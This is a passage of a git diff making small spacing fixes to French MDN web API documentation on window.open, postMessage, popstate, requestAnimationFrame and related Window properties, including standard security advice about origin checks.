fonctionnalités avancées de navigation par onglets de certains navigateurs, comme le clic du milieu et les raccourcis Ctrl+clic et Ctrl+Entrée sur les liens, les « mouse gestures », etc. +Un tel pseudo-lien met également en péril l'accessibilité des liens. **Utilisez toujours une véritable URL pour la valeur de l'attribut href**, afin que si JavaScript s'avère désactivé ou absent, ou si le navigateur ne peut pas ouvrir de fenêtre secondaire (comme Microsoft Web TV, les navigateurs en mode texte, etc.), de tels navigateurs pourront toujours charger la référence référencée dans leur mode de chargement/gestion de nouvelles ressources par défaut. Cette forme de code interfère également avec les fonctionnalités avancées de navigation par onglets de certains navigateurs, comme le clic du milieu et les raccourcis Ctrl+clic et Ctrl+Entrée sur les liens, les « mouse gestures », etc. ##### Identifiez toujours les liens qui créeront (ou réutiliseront) une nouvelle fenêtre secondaire Identifiez les liens qui ouvriront de nouvelles fenêtre de manière à aider les utilisateurs en utilisant l'attribut `title` du lien, en ajoutant une icône à la fin du lien, ou en modifiant le curseur de la souris. -Le but est d'avertir les utilisateurs à l'avance des changements de contexte pour réduire la confusion de leur part : changer la fenêtre courante ou afficher subitement une nouvelle fenêtre peut être très désorientant pour certains utilisateurs (le bouton Précédent devient inutilisable). +Le but est d'avertir les utilisateurs à l'avance des changements de contexte pour réduire la confusion de leur part : changer la fenêtre courante ou afficher subitement une nouvelle fenêtre peut être très désorientant pour certains utilisateurs (le bouton Précédent devient inutilisable). -> « Souvent, les utilisateurs ne remarquent pas qu'une nouvelle fenêtre s'est ouverte, particulièrement si ils utilisent un petit écran où les fenêtres sont agrandies pour utiliser toute la surface de l'écran. Ainsi, l'utilisateur voulant retourner à la page initiale sera dérouté par un bouton*Précédente* grisé. » +> « Souvent, les utilisateurs ne remarquent pas qu'une nouvelle fenêtre s'est ouverte, particulièrement si ils utilisent un petit écran où les fenêtres sont agrandies pour utiliser toute la surface de l'écran. Ainsi, l'utilisateur voulant retourner à la page initiale sera dérouté par un bouton*Précédente* grisé. » > citation de [The Top Ten*New* Mistakes of Web Design](http://www.useit.com/alertbox/990530.html): 2. Opening New Browser Windows, Jakob Nielsen, mai 1999 -Lorsque des changements complets de contexte sont identifiés explicitement avant qu'ils se produisent, l'utilisateur peut déterminer s'il désire le faire ou s'y préparer : non seulement il ne sera pas perturbé ni désorienté, mais des utilisateurs plus expérimentés pourront eux-mêmes décider comment ouvrir de tels liens (dans une nouvelle fenêtre ou non, dans la même fenêtre, dans un nouvel onglet ou non, en arrière-plan ou non). +Lorsque des changements complets de contexte sont identifiés explicitement avant qu'ils se produisent, l'utilisateur peut déterminer s'il désire le faire ou s'y préparer : non seulement il ne sera pas perturbé ni désorienté, mais des utilisateurs plus expérimentés pourront eux-mêmes décider comment ouvrir de tels liens (dans une nouvelle fenêtre ou non, dans la même fenêtre, dans un nouvel onglet ou non, en arrière-plan ou non). **Références** -- « Si votre lien crée une nouvelle fenêtre, ou fait apparaitre d'autres fenêtres sur votre affichage, ou déplace le focus du système vers un autre cadre ou une autre fenêtre, alors la chose sympathique à faire est d'indiquer à l'utilisateur que quelque chose de ce genre va se produire. » [World Wide Web Consortium Accessibility Initiative regarding popups](http://www.w3.org/WAI/wcag-curric/sam77-0.htm) -- « Utilisez les titres de liens pour donner aux utilisateurs un aperçu d'où chaque lien les emmènera, avant qu'ils aient cliqué dessus. » [Ten Good Deeds in Web Design](http://www.useit.com/alertbox/991003.html), Jakob Nielsen, octobre 1999 +- « Si votre lien crée une nouvelle fenêtre, ou fait apparaitre d'autres fenêtres sur votre affichage, ou déplace le focus du système vers un autre cadre ou une autre fenêtre, alors la chose sympathique à faire est d'indiquer à l'utilisateur que quelque chose de ce genre va se produire. » [World Wide Web Consortium Accessibility Initiative regarding popups](http://www.w3.org/WAI/wcag-curric/sam77-0.htm) +- « Utilisez les titres de liens pour donner aux utilisateurs un aperçu d'où chaque lien les emmènera, avant qu'ils aient cliqué dessus. » [Ten Good Deeds in Web Design](http://www.useit.com/alertbox/991003.html), Jakob Nielsen, octobre 1999 - [Using Link Titles to Help Users Predict Where They Are Going](http://www.useit.com/alertbox/980111.html), Jakob Nielsen, janvier 1998 ##### Utilisez toujours l'attribut target -Si JavaScript est désactivé ou absent, le navigateur créera une fenêtre secondaire ou affichera la ressource demandée selon sa gestion habituelle de l'attribut target : par exemple certains navigateurs ne pouvant pas créer de nouvelles fenêtres comme Microsoft Web TV, chargeront la ressource demandée et l'ajouteront à la fin du document courant. Le but et l'idée est d'essayer de fournir — **sans l'imposer** — à l'utilisateur une manière d'ouvrir la ressource référencée, de suivre le lien. Votre code ne doit pas interférer avec les fonctionnalités du navigateur à disposition de l'utilisateur, et doit toujours lui laisser le chemin libre et le choix de la décision finale. +Si JavaScript est désactivé ou absent, le navigateur créera une fenêtre secondaire ou affichera la ressource demandée selon sa gestion habituelle de l'attribut target : par exemple certains navigateurs ne pouvant pas créer de nouvelles fenêtres comme Microsoft Web TV, chargeront la ressource demandée et l'ajouteront à la fin du document courant. Le but et l'idée est d'essayer de fournir — **sans l'imposer** — à l'utilisateur une manière d'ouvrir la ressource référencée, de suivre le lien. Votre code ne doit pas interférer avec les fonctionnalités du navigateur à disposition de l'utilisateur, et doit toujours lui laisser le chemin libre et le choix de la décision finale. ##### N'utilisez pas `target="_blank"` -Fournissez toujours un nom significatif dans votre attribut target, et essayez de le réutiliser dans votre page afin qu'un clic sur un autre lien puisse charger la ressource dans une fenêtre déjà utilisée (ce qui rend l'opération beaucoup plus rapide pour l'utilisateur), ce qui justifie la raison (et les ressources système, et le temps dépensé) d'avoir créé une fenêtre secondaire. Utiliser une seule cible et la réutiliser pour plusieurs liens est bien moins gourmand en matière de ressources puisqu'une seule fenêtre est créée et recyclée. D'un autre côté, utiliser « _blank » comme attribut target créera plusieurs nouvelles fenêtre anonymes sur le bureau de l'utilisateur qui ne peuvent ni être recyclées ni réutilisées. +Fournissez toujours un nom significatif dans votre attribut target, et essayez de le réutiliser dans votre page afin qu'un clic sur un autre lien puisse charger la ressource dans une fenêtre déjà utilisée (ce qui rend l'opération beaucoup plus rapide pour l'utilisateur), ce qui justifie la raison (et les ressources système, et le temps dépensé) d'avoir créé une fenêtre secondaire. Utiliser une seule cible et la réutiliser pour plusieurs liens est bien moins gourmand en matière de ressources puisqu'une seule fenêtre est créée et recyclée. D'un autre côté, utiliser « _blank » comme attribut target créera plusieurs nouvelles fenêtre anonymes sur le bureau de l'utilisateur qui ne peuvent ni être recyclées ni réutilisées. Dans tous les cas, si votre code est bien fait, il ne devrait pas interférer avec le choix final de l'utilisateur mais lui offrira plutôt des choix supplémentaires, plus de façons d'ouvrir les liens et plus de pouvoir sur l'outil qu'il utilise (son navigateur). @@ -423,11 +423,11 @@ WindowObjectReference = window.open("http://www.wwf.org/", Les positions et dimensions demandées dans la liste _strWindowFeatures_ ne seront pas respectées et **seront corrigées** si n'importe laquelle de ces valeurs ne permet pas à la fenêtre complète d'être affichée dans la zone de travail des applications du système d'exploitation de l'utilisateur. **Aucune partie de la nouvelle fenêtre ne peut être initialement positionnée hors de l'écran. Ceci est le réglage par défaut de tous les navigateurs basés sur Mozilla.** -[Internet Explorer 6 SP2 dispose d'un mécanisme de correction d'erreur similaire](http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5), mais celui-ci n'est pas activé par défaut pour tous les niveaux de sécurité : un niveau de sécurité trop bas peut désactiver ce mécanisme de correction d'erreurs. +[Internet Explorer 6 SP2 dispose d'un mécanisme de correction d'erreur similaire](http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5), mais celui-ci n'est pas activé par défaut pour tous les niveaux de sécurité : un niveau de sécurité trop bas peut désactiver ce mécanisme de correction d'erreurs. #### Note sur les barres de défilement -Lorsque le contenu dépasse les dimensions de la zone de visualisation de la fenêtre, des barres de défilement (ou un mécanisme de définement similaire) sont nécessaires pour s'assurer que les utilisateurs puissent accéder au contenu. Le contenu ou la boîte du document d'une page web peut outrepasser, excéder les dimensions demandées pour la fenêtre pour plusieurs raisons qui sont hors du contrôle des auteurs Web : +Lorsque le contenu dépasse les dimensions de la zone de visualisation de la fenêtre, des barres de défilement (ou un mécanisme de définement similaire) sont nécessaires pour s'assurer que les utilisateurs puissent accéder au contenu. Le contenu ou la boîte du document d'une page web peut outrepasser, excéder les dimensions demandées pour la fenêtre pour plusieurs raisons qui sont hors du contrôle des auteurs Web : - l'utilisateur a redimensionné la fenêtre - l'utilisateur a augmenté la taille de police du texte via le menu Affichage/Taille du texte (%) dans Mozilla ou Affichage/Taille du texte/Plus grande ou Plus petite dans Firefox @@ -435,24 +435,24 @@ Lorsque le contenu dépasse les dimensions de la zone de visualisation de la fen - l'auteur n'est pas conscient des marges par défaut (et/ou bordures et/ou padding) appliquées à l'élément racine ou nœud `body` dans les différents navigateurs et versions de ceux-ci - l'utilisateur utilise une feuille de style utilisateur ([userContent.css in Mozilla-based browsers](http://www.mozilla.org/support/firefox/edit#content)) pour ses habitudes de navigation qui modifie les dimensions habituelles pour ses habitudes de lecture (marges, padding, taille de police par défaut) - l'utilisateur peut personnaliser individuellement la taille (hauteur ou largeur) de la plupart des barres d'outils via son système d'exploitation. Par exemple les bordures de fenêtres, la hauteur de la barre de titre, des menus et des barres de défilement, ainsi que la taille du texte sont entièrement personnalisables par l'utilisateur dans le système d'exploitation Windows XP. Ces dimensions de barres d'outils peuvent également être changées par des thèmes du navigateur, ou du système d'exploitation -- l'auteur ne s'attend pas à ce que la fenêtre de l'utilisateur dispose de barres d'outils spécifiques supplémentaires ; comme des barres de préférences, la barre web developer, des barres d'accessibilité, de blocage de popups et de recherche, etc. +- l'auteur ne s'attend pas à ce que la fenêtre de l'utilisateur dispose de barres d'outils spécifiques supplémentaires ; comme des barres de préférences, la barre web developer, des barres d'accessibilité, de blocage de popups et de recherche, etc. - l'utilisateur utilise des technologies assistives ou addons qui modifient la zone de travail des applications, par exemple Microsoft Magnifier -- l'utilisateur repositionne et/ou redimensionne directement la zone de travail des apllications : par exemple il redimensionne la barre des tâches de Windows, la place sur le côté gauche de l'écran (versions en langues arabes) ou sur la droite (versions en hébreu), l'utilisateur a une barre de lancement rapide Microsoft Office, etc. +- l'utilisateur repositionne et/ou redimensionne directement la zone de travail des apllications : par exemple il redimensionne la barre des tâches de Windows, la place sur le côté gauche de l'écran (versions en langues arabes) ou sur la droite (versions en hébreu), l'utilisateur a une barre de lancement rapide Microsoft Office, etc. - certains systèmes d'exploitation (Mac OS X) forcent la présence de barres d'outils qui peuvent démentir les anticipations et calculs de l'auteur Web sur les dimensions effectives de la fenêtre de navigation #### Note sur la barre d'état -Vous devez vous attendre à ce qu'une large majorité des navigateurs affichent la barre d'état, ou qu'une large majorité des utilisateurs voudront forcer sa présence : le mieux est de toujours positionner cette fonctionnalité à yes. De plus, si vous demandez spécifiquement de retirer la barre d'état, les utilisateurs de Firefox ne pourront plus utilser la barre de navigation de site si elle est installée. Dans Mozilla et dans Firefox, toutes les fenêtres peuvent être redimensionnées à partir de la zone inférieure droite de la barre d'état. Celle-ci fournit également des informations sur la connexion http, l'emplacement des ressources hypertextes, la barre de progression du téléchargement, l'icône de chiffrement/connexion sécurisée avec SSL (affichant une icône de cadenas jaune), des icônes de zones de sécurité, de politique de sécurité en matière de cookies, etc. **Enlever la barre d'état retire souvent de très nombreuses fonctionnalités et informations considérées comme utiles (et parfois vitales) par les utilisateurs.** +Vous devez vous attendre à ce qu'une large majorité des navigateurs affichent la barre d'état, ou qu'une large majorité des utilisateurs voudront forcer sa présence : le mieux est de toujours positionner cette fonctionnalité à yes. De plus, si vous demandez spécifiquement de retirer la barre d'état, les utilisateurs de Firefox ne pourront plus utilser la barre de navigation de site si elle est installée. Dans Mozilla et dans Firefox, toutes les fenêtres peuvent être redimensionnées à partir de la zone inférieure droite de la barre d'état. Celle-ci fournit également des informations sur la connexion http, l'emplacement des ressources hypertextes, la barre de progression du téléchargement, l'icône de chiffrement/connexion sécurisée avec SSL (affichant une icône de cadenas jaune), des icônes de zones de sécurité, de politique de sécurité en matière de cookies, etc. **Enlever la barre d'état retire souvent de très nombreuses fonctionnalités et informations considérées comme utiles (et parfois vitales) par les utilisateurs.** #### Note sur les problèmes de sécurité liés à la présence de la barre d'état -Dans Internet Explorer 6 pour XP SP2, pour les fenêtres ouvertes à l'aide de `window.open()` : +Dans Internet Explorer 6 pour XP SP2, pour les fenêtres ouvertes à l'aide de `window.open()` : -> « Pour les fenêtres ouvertes à l'aide de `window.open()` : -> Attendez-vous à ce que la barre d'état soit présente, et codez en conséquence. **La barre d'état sera activée par défaut** et fait entre 20 et 25 pixels de haut. (...) » +> « Pour les fenêtres ouvertes à l'aide de `window.open()` : +> Attendez-vous à ce que la barre d'état soit présente, et codez en conséquence. **La barre d'état sera activée par défaut** et fait entre 20 et 25 pixels de haut. (...) » > citation de [Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2](http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5) -> « (...) les fenêtres créées à l'aide de la méthode `window.open()` peuvent être appelées par des scripts et utilisées pour imiter une fausse interface utilisateur ou bureau, ou pour masquer des informations ou des activités malveillantes en dimensionnant la fenêtre de manière à rendre la barre d'état invisible. +> « (...) les fenêtres créées à l'aide de la méthode `window.open()` peuvent être appelées par des scripts et utilisées pour imiter une fausse interface utilisateur ou bureau, ou pour masquer des informations ou des activités malveillantes en dimensionnant la fenêtre de manière à rendre la barre d'état invisible. > Les fenêtres d'Internet Explorer fournissent des informations de sécurité visibles par l'utilisateur pour l'aider à identifier avec certitude la source de la page et le niveau de sécurité de la communication avec cette page. Lorsque ces éléments ne sont pas visibles, les utilisateurs peuvent penser qu'ils sont sur une page plus digne de confiance ou interagissent avec un processus système alors qu'il sont en train d'interagir avec un hôte malveillant. (...) > **Les fenêtres lancées par des scripts seront affichées entièrement, avec la barre de titre d'Internet Explorer et sa barre d'état.** (...) > Gestion de la barre d'état d'Internet Explorer par les scripts @@ -463,12 +463,12 @@ Dans Internet Explorer 6 pour XP SP2, pour les fenêtres ouvertes à l'aide de ` #### Note sur le plein écran (fullscreen) -Dans Internet Explorer 6 pour XP SP2 : +Dans Internet Explorer 6 pour XP SP2 : -- « `window.open()` avec fullscreen=yes donnera à présent une fenêtre maximisée, et non une fenêtre en mode kiosque. » -- « La définition de la spécification de fullscreen=yes est modifiée pour signifier "afficher la fenêtre maximisée," ce qui gardera la barre de titre, la barre d'adresse et la barre d'état visibles. » +- « `window.open()` avec fullscreen=yes donnera à présent une fenêtre maximisée, et non une fenêtre en mode kiosque. » +- « La définition de la spécification de fullscreen=yes est modifiée pour signifier "afficher la fenêtre maximisée," ce qui gardera la barre de titre, la barre d'adresse et la barre d'état visibles. » -_Références :_ +_Références :_ - [Fine-Tune Your Web Site for Windows XP Service Pack 2](http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5) - [Changes to Functionality in Microsoft Windows XP Service Pack 2, Script sizing of Internet Explorer windows](http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2brows.mspx#ECAA) @@ -477,11 +477,11 @@ _Références :_ ### Tutoriels -**en français :** +**en français :** [Créer des pop-up intelligentes](http://openweb.eu.org/articles/popup/) par Fabrice Bonny, OpenWeb -**en anglais :** +**en anglais :** [JavaScript windows (tutorial)](http://www.infimum.dk/HTML/JSwindows.html) par Lasse Reichstein Nielsen diff --git a/files/fr/web/api/window/opener/index.md b/files/fr/web/api/window/opener/index.md index bee987dab6..950654278b 100644 --- a/files/fr/web/api/window/opener/index.md +++ b/files/fr/web/api/window/opener/index.md @@ -19,7 +19,7 @@ Renvoie une référence vers la fenêtre qui a ouvert la fenêtre courante. ### Exemple - if window.opener != indexWin { + if window.opener != indexWin { referToTop(window.opener); } diff --git a/files/fr/web/api/window/outerheight/index.md b/files/fr/web/api/window/outerheight/index.md index 892db6a5cb..94e6404d2e 100644 --- a/files/fr/web/api/window/outerheight/index.md +++ b/files/fr/web/api/window/outerheight/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Window/outerHeight --- {{APIRef}} -`Window.outerHeight` retourne la hauteur de la fenêtre (du navigateur) en pixels. La hauteur retournée prends en compte la fenêtre du navigateur entier, y compris la barre latérale, window chrome and window resizing borders/handles. +`Window.outerHeight` retourne la hauteur de la fenêtre (du navigateur) en pixels. La hauteur retournée prends en compte la fenêtre du navigateur entier, y compris la barre latérale, window chrome and window resizing borders/handles. Cette propriété n'a pas de valeur par défaut. @@ -17,13 +17,13 @@ La valeur retournée correspond à la hauteur extérieure de la fenêtre. ## Notes -Pour changer la taille de la fenêtre, utilisez {{domxref("window.resizeBy()")}} et {{domxref("window.resizeTo()")}}. +Pour changer la taille de la fenêtre, utilisez {{domxref("window.resizeBy()")}} et {{domxref("window.resizeTo()")}}. Pour obtenir la hauteur intérieure de la fenêtre (la hauteur de la page actuelle), utilisez {{domxref("window.innerHeight")}}. ### Exemple illustré -La figure suivante montre la différence entre `outerHeight` et `innerHeight`. +La figure suivante montre la différence entre `outerHeight` et `innerHeight`.  diff --git a/files/fr/web/api/window/pageshow_event/index.md b/files/fr/web/api/window/pageshow_event/index.md index 112cdea1ba..9e72791562 100644 --- a/files/fr/web/api/window/pageshow_event/index.md +++ b/files/fr/web/api/window/pageshow_event/index.md @@ -4,7 +4,7 @@ slug: Web/API/Window/pageshow_event translation_of: Web/API/Window/pageshow_event original_slug: Web/Events/pageshow --- -L’évènement `pageshow` est émis lorsqu’une entrée dans un historique de session est atteinte (cela comprend les boutons précédent / suivant ainsi que l’affichage initial de la page après l’évènement `onload`). +L’évènement `pageshow` est émis lorsqu’une entrée dans un historique de session est atteinte (cela comprend les boutons précédent / suivant ainsi que l’affichage initial de la page après l’évènement `onload`). ## Informations générales @@ -33,7 +33,7 @@ L’évènement `pageshow` est émis lorsqu’une entrée dans un historique de ## Exemples -L’exemple suivant va afficher dans la console des informations sur l’évènement `pageshow`, qui est émis à l’utilisation des boutons précédent / suivant, et pas uniquement après `onload` : +L’exemple suivant va afficher dans la console des informations sur l’évènement `pageshow`, qui est émis à l’utilisation des boutons précédent / suivant, et pas uniquement après `onload` : ```js window.addEventListener('pageshow', function(event) { @@ -42,7 +42,7 @@ window.addEventListener('pageshow', function(event) { }); ``` -Bien que ce ne soit pas la meilleure pratique, vous pouvez également ajouter l’évènement comme un attribut sur la balise `<body>`, de la même manière que `onload` : +Bien que ce ne soit pas la meilleure pratique, vous pouvez également ajouter l’évènement comme un attribut sur la balise `<body>`, de la même manière que `onload` : ```html <body onload="myonload()" onpageshow="mypageshowcode()"> diff --git a/files/fr/web/api/window/parent/index.md b/files/fr/web/api/window/parent/index.md index 907a645d93..c82013ed40 100644 --- a/files/fr/web/api/window/parent/index.md +++ b/files/fr/web/api/window/parent/index.md @@ -19,7 +19,7 @@ Renvoie une référence à la fenêtre parente ou cadre parent de la fenêtre co ### Exemple - if (window.parent != window.top) { + if (window.parent != window.top) { // on se trouve dans une imbrication de cadres } diff --git a/files/fr/web/api/window/popstate_event/index.md b/files/fr/web/api/window/popstate_event/index.md index de1e53ba98..08bad0c219 100644 --- a/files/fr/web/api/window/popstate_event/index.md +++ b/files/fr/web/api/window/popstate_event/index.md @@ -3,11 +3,11 @@ title: popstate slug: Web/API/Window/popstate_event translation_of: Web/API/Window/popstate_event --- -L'événement `popstate` est exécuté lorsque l'entrée active de l'historique change. Si l'entrée active de l'historique en cours d'activation a été créé par un appel à `history.pushState()` ou a été affectée par un appel à `history.replaceState()`, la propriété `state` de l'événement `popstate` contient une copie de l'objet `state` de l'entrée d'historique. +L'événement `popstate` est exécuté lorsque l'entrée active de l'historique change. Si l'entrée active de l'historique en cours d'activation a été créé par un appel à `history.pushState()` ou a été affectée par un appel à `history.replaceState()`, la propriété `state` de l'événement `popstate` contient une copie de l'objet `state` de l'entrée d'historique. -Notez qu'un appel à `history.pushState()` ou `history.replaceState()` n'exécutera pas l'événement `popstate`. L'événement `popstate` est uniquement exécuté en réalisant une action dans le navigateur telle que cliquer sur le bouton de retour (ou appeler `history.back()` en JavaScript). +Notez qu'un appel à `history.pushState()` ou `history.replaceState()` n'exécutera pas l'événement `popstate`. L'événement `popstate` est uniquement exécuté en réalisant une action dans le navigateur telle que cliquer sur le bouton de retour (ou appeler `history.back()` en JavaScript). -Les navigateurs ont tendance à gérer l'événement `popstate` différemment lors du chargement de la page. Chrome (avant la v34) et Safari émettent toujours un événement `popstate` lors du chargement de la page, contrairement à Firefox. +Les navigateurs ont tendance à gérer l'événement `popstate` différemment lors du chargement de la page. Chrome (avant la v34) et Safari émettent toujours un événement `popstate` lors du chargement de la page, contrairement à Firefox. ## Informations générales @@ -50,7 +50,7 @@ history.back(); // Logs "location: http://example.com/example.html, state: null history.go(2); // Logs "location: http://example.com/example.html?page=3, state: {"page":3} ``` -Notez que même si l'entrée d'historique originelle (pour `http://example.com/example.html`) n'a pas d'objet state associé, un événement `popstate` est tout de même exécuté lorsque nous activons cette entrée au second appel à `history.back()`. +Notez que même si l'entrée d'historique originelle (pour `http://example.com/example.html`) n'a pas d'objet state associé, un événement `popstate` est tout de même exécuté lorsque nous activons cette entrée au second appel à `history.back()`. ## Spécifications diff --git a/files/fr/web/api/window/postmessage/index.md b/files/fr/web/api/window/postmessage/index.md index c0df0fa2b6..abe8cc16ea 100644 --- a/files/fr/web/api/window/postmessage/index.md +++ b/files/fr/web/api/window/postmessage/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Window/postMessage --- {{ ApiRef() }} -La méthode **`window.postMessage`** permet une communication inter-domaine en toute sécurité. Normalement, les scripts de différentes pages sont autorisés à accéder les uns aux autres si et seulement si les pages depuis lesquelles ils sont exécutés ont des URL de même [origine](/en-US/docs/Glossary/Origin), c'est-à-dire avec le même protocole (généralement `http` ou `https`), le même numéro de port (`80` étant le port par défaut pour `http`), et le même nom d'hôte (à condition que [document.domain](/en-US/docs/DOM/document.domain) soit initialisé à la même valeur par les deux pages). `window.postMessage` fournit un mécanisme contrôlé pour contourner cette restriction d'une manière sécurisée si bien utilisée. +La méthode **`window.postMessage`** permet une communication inter-domaine en toute sécurité. Normalement, les scripts de différentes pages sont autorisés à accéder les uns aux autres si et seulement si les pages depuis lesquelles ils sont exécutés ont des URL de même [origine](/en-US/docs/Glossary/Origin), c'est-à-dire avec le même protocole (généralement `http` ou `https`), le même numéro de port (`80` étant le port par défaut pour `http`), et le même nom d'hôte (à condition que [document.domain](/en-US/docs/DOM/document.domain) soit initialisé à la même valeur par les deux pages). `window.postMessage` fournit un mécanisme contrôlé pour contourner cette restriction d'une manière sécurisée si bien utilisée. La méthode `window.postMessage`, quand elle est appelée, provoque l'envoi d'un [`MessageEvent`](/fr/docs/Web/API/MessageEvent) à la fenêtre ciblée une fois que tout script en attente a terminé son exécution (par exemple, les gestionnaires d'évènements restants si `window.postMessage` est appelée depuis un gestionnaire d'évènement, des timeouts en attente enregistrées auparavant, etc.) Le [`MessageEvent`](/fr/docs/Web/API/MessageEvent) est de type `message`, a une propriété `data` qui est initialisée à la valeur du premier argument passé à `window.postMessage`, une propriété `origin` correspondant à l'origine du document principal de la fenêtre appelant `window.postMessage` au moment où `window.postMessage` a été appelée, et une propriété `source` qui est la fenêtre depuis laquelle `window.postMessage` est appelée (les autres propriétés standard d'évènement sont présentes avec leurs valeurs attendues). @@ -24,7 +24,7 @@ La méthode `window.postMessage`, quand elle est appelée, provoque l'envoi d'un - `message` - : La donnée à envoyer à l'autre fenêtre. Elle est sérialisée en utilisant [l'algorithme de clônage structuré](/fr/docs/Web/Guide/API/DOM/The_structured_clone_algorithm). Cela signifie que vous pouvez passer sereinement une large variété d'objets de données à la fenêtre de destination sans avoir à les sérialiser vous-mêmes. \[1] - `targetOrigin` - - : Indique quelle doit être l'origine de `otherWindow` pour l'évènement à envoyer, soit comme la chaîne littérale `"*"` (signifiant pas de préférence) soit comme une URI. Si, au moment où l'évènement est inscrit pour être envoyé, le protocole, le nom d'hôte ou le port du document de `otherWindow` ne correspond pas à ceux contenus dans `targetOrigin`, l'évènement ne sera pas envoyé ; il ne le sera que si les trois correspondent. Ce mécanisme permet de contrôler où les messages sont envoyés ; par exemple, si `postMessage` était utilisé pour transmettre un mot de passe, il serait absolument vital que cet argument soit une URI dont l'origine est la même que le récepteur prévu du message contenant le mot de passe, afin de prévenir l'interception du mot de passe par une tierce-partie malicieuse. **Fournissez toujours une `targetOrigin` spécifique, jamais `*`, si vous savez où le document de l'autre fenêtre est censé se trouver. Ne pas fournir une cible spécifique expose les données que vous envoyez à tout site malicieux à l'écoute.** + - : Indique quelle doit être l'origine de `otherWindow` pour l'évènement à envoyer, soit comme la chaîne littérale `"*"` (signifiant pas de préférence) soit comme une URI. Si, au moment où l'évènement est inscrit pour être envoyé, le protocole, le nom d'hôte ou le port du document de `otherWindow` ne correspond pas à ceux contenus dans `targetOrigin`, l'évènement ne sera pas envoyé ; il ne le sera que si les trois correspondent. Ce mécanisme permet de contrôler où les messages sont envoyés ; par exemple, si `postMessage` était utilisé pour transmettre un mot de passe, il serait absolument vital que cet argument soit une URI dont l'origine est la même que le récepteur prévu du message contenant le mot de passe, afin de prévenir l'interception du mot de passe par une tierce-partie malicieuse. **Fournissez toujours une `targetOrigin` spécifique, jamais `*`, si vous savez où le document de l'autre fenêtre est censé se trouver. Ne pas fournir une cible spécifique expose les données que vous envoyez à tout site malicieux à l'écoute.** - `transfer` {{optional_Inline}} - : Séquence d'objets {{domxref("Transferable")}} qui sera transmise avec le message. La possession de ces objets est cédée à la destination et ils ne sont plus utilisables du côté de l'expéditeur. @@ -37,7 +37,7 @@ window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { - if (event.origin !== "http://example.org:8080") + if (event.origin !== "http://example.org:8080") return; // ... @@ -86,7 +86,7 @@ function receiveMessage(event) { // Faisons-nous confiance à l'expéditeur de ce message ? (il pourrait être // différent de la fenêtre que nous avons ouverte au départ, par exemple). - if (event.origin !== "http://example.org") + if (event.origin !== "http://example.org") return; // event.source est la popup @@ -104,7 +104,7 @@ window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { // Faisons-nous confiance à l'expéditeur de ce message ? - if (event.origin !== "http://example.com:8080") + if (event.origin !== "http://example.com:8080") return; // event.source est window.opener diff --git a/files/fr/web/api/window/requestanimationframe/index.md b/files/fr/web/api/window/requestanimationframe/index.md index 075e864e2c..05f84e3b80 100644 --- a/files/fr/web/api/window/requestanimationframe/index.md +++ b/files/fr/web/api/window/requestanimationframe/index.md @@ -9,11 +9,11 @@ translation_of: Web/API/window/requestAnimationFrame --- {{APIRef("Window")}} -La méthode **`window.requestAnimationFrame()`** notifie le navigateur que vous souhaitez exécuter une animation et demande que celui-ci exécute une fonction spécifique de mise à jour de l'animation, avant le prochain rafraîchissement du navigateur. Cette méthode prend comme argument un callback qui sera appelé avant le rafraîchissement du navigateur. +La méthode **`window.requestAnimationFrame()`** notifie le navigateur que vous souhaitez exécuter une animation et demande que celui-ci exécute une fonction spécifique de mise à jour de l'animation, avant le prochain rafraîchissement du navigateur. Cette méthode prend comme argument un callback qui sera appelé avant le rafraîchissement du navigateur. > **Note :** Si vous souhaitez animer une nouvelle frame durant le prochain repaint, votre callback doit appeler la méthode `requestAnimationFrame()`. -Vous devez appeler cette méthode dès que vous êtes prêt à rafraîchir votre animation. La fonction contenant l'animation doit être appelée avant que le navigateur n'effectue un nouveau rafraîchissement . En moyenne, le callback sera appelé 60 fois par seconde, cela dépendra de la fréquence de rafraîchissement de votre écran, conformément aux recommandations de la W3C. Cette fréquence peut être inférieure si plusieurs onglets sont ouverts simultanément. +Vous devez appeler cette méthode dès que vous êtes prêt à rafraîchir votre animation. La fonction contenant l'animation doit être appelée avant que le navigateur n'effectue un nouveau rafraîchissement . En moyenne, le callback sera appelé 60 fois par seconde, cela dépendra de la fréquence de rafraîchissement de votre écran, conformément aux recommandations de la W3C. Cette fréquence peut être inférieure si plusieurs onglets sont ouverts simultanément. Le callback possède un seul argument, un {{domxref("DOMHighResTimeStamp")}}, qui est le temps, en millisecondes avec une précision minimum de 10 µs, durant lequel l'exécution du rafraîchissement est prévu. @@ -28,11 +28,11 @@ requestID = window.webkitRequestAnimationFrame(callback); // Anciennes versions ### Paramètres - `callback` - - : Un paramètre définissant la fonction à appeler lorsque votre animation va être rafraîchie lors du prochain rafraîchissement. Le callback ne prend qu'un seul argument, un {{domxref("DOMHighResTimeStamp")}}, qui est le temps à partir duquel requestAnimationFrame va commencer à appeler les callbacks. + - : Un paramètre définissant la fonction à appeler lorsque votre animation va être rafraîchie lors du prochain rafraîchissement. Le callback ne prend qu'un seul argument, un {{domxref("DOMHighResTimeStamp")}}, qui est le temps à partir duquel requestAnimationFrame va commencer à appeler les callbacks. ### Valeur retournée -`requestID` est un entier `long` unique identifiant l'élément dans la liste des callbacks. C'est une valeur différente de zéro, mais il est prudent de ne pas faire de suppositions sur cette valeur. En passant cette valeur en paramètre de la méthode {{domxref("window.cancelAnimationFrame()")}}, vous annulez l'appel du callback. +`requestID` est un entier `long` unique identifiant l'élément dans la liste des callbacks. C'est une valeur différente de zéro, mais il est prudent de ne pas faire de suppositions sur cette valeur. En passant cette valeur en paramètre de la méthode {{domxref("window.cancelAnimationFrame()")}}, vous annulez l'appel du callback. ## Exemple @@ -64,7 +64,7 @@ requestAnimationFrame(step); ### Notes pour Gecko -\[1] Avant Gecko 11.0 {{geckoRelease("11.0")}}, `mozRequestAnimationFrame()` pouvait être appelée sans paramètres 